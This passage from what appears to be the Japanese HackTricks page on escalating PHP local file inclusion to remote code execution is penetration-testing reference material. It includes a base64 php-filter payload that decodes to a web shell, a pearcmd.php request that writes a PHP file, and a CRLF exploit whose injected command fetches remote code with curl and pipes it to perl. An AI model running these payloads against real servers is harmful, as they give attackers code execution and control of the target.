2. 注入後、LFIを利用して_**/var/log/vsftpd.log**_からサーバーログを取得します。
|
||
|
||
### Via php base64 filter (using base64)
|
||
|
||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHP base64フィルターは非base64を無視します。これを使用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:
|
||
```url
|
||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
### Via php filters (no file needed)
|
||
|
||
この[**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**phpフィルターを使用して任意のコンテンツを出力として生成できる**ことを説明しています。基本的には、**ファイルに書き込むことなく**、インクルード用の**任意のphpコードを生成できる**ということです。
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-php-filters.md
|
||
{{#endref}}
|
||
|
||
### Via segmentation fault
|
||
|
||
**ファイルをアップロード**し、それが`/tmp`に**一時的**に保存されるようにします。その後、**同じリクエストで、** **セグメンテーションフォルト**を引き起こすと、**一時ファイルが削除されず**、それを検索できます。
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-segmentation-fault.md
|
||
{{#endref}}
|
||
|
||
### Via Nginx temp file storage
|
||
|
||
**Local File Inclusion**を見つけ、**Nginx**がPHPの前で実行されている場合、次の技術を使用してRCEを取得できるかもしれません:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-nginx-temp-files.md
|
||
{{#endref}}
|
||
|
||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||
|
||
**Local File Inclusion**を見つけた場合、たとえ**セッションがなく**、`session.auto_start`が`Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます:
|
||
|
||
{{#ref}}
|
||
via-php_session_upload_progress.md
|
||
{{#endref}}
|
||
|
||
### Via temp file uploads in Windows
|
||
|
||
**Local File Inclusion**を見つけ、サーバーが**Windows**で実行されている場合、RCEを取得できるかもしれません:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-temp-file-uploads.md
|
||
{{#endref}}
|
||
|
||
### Via `pearcmd.php` + URL args
|
||
|
||
[**この投稿で説明されているように**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト`/usr/local/lib/phppearcmd.php`は、php dockerイメージにデフォルトで存在します。さらに、URLを介してスクリプトに引数を渡すことが可能で、URLパラメータに`=`がない場合、それを引数として使用する必要があると示されています。
|
||
|
||
次のリクエストは、`/tmp/hello.php`に`<?=phpinfo()?>`という内容のファイルを作成します:
|
||
```bash
|
||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||
```
|
||
CRLF脆弱性を悪用してRCEを取得します([**こちら**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)から):
|
||
```
|
||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||
%0d%0a
|
||
```
|
||
### phpinfo()を介して (file_uploads = on)
|
||
|
||
**Local File Inclusion**と**file_uploads = on**の**phpinfo()**を公開しているファイルが見つかった場合、RCEを取得できます:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-phpinfo.md
|
||
{{#endref}}
|
||
|
||
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + パス開示を介して
|
||
|
||
**Local File Inclusion**が見つかり、**一時ファイルのパスを外部に流出させることができるが、**サーバーが**含めるファイルにPHPマークがあるかどうかを**チェックしている**場合、この**レースコンディション**を使って**そのチェックをバイパス**しようとすることができます:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||
{{#endref}}
|
||
|
||
### 永遠の待機 + ブルートフォースを介して
|
||
|
||
LFIを悪用して**一時ファイルをアップロード**し、サーバーがPHP実行を**ハング**させることができる場合、**数時間にわたってファイル名をブルートフォース**して一時ファイルを見つけることができます:
|
||
|
||
{{#ref}}
|
||
lfi2rce-via-eternal-waiting.md
|
||
{{#endref}}
|
||
|
||
### 致命的エラーに至る
|
||
|
||
`/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`のいずれかのファイルを含めると、エラーが発生します。(同じファイルを2回含める必要があります)。
|
||
|
||
**これがどのように役立つのかはわかりませんが、役立つかもしれません。**\
|
||
_たとえPHP致命的エラーを引き起こしても、アップロードされたPHPの一時ファイルは削除されます。_
|
||
|
||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## 参考文献
|
||
|
||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||
|
||
{{#file}}
|
||
EN-Local-File-Inclusion-1.pdf
|
||
{{#endfile}}
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|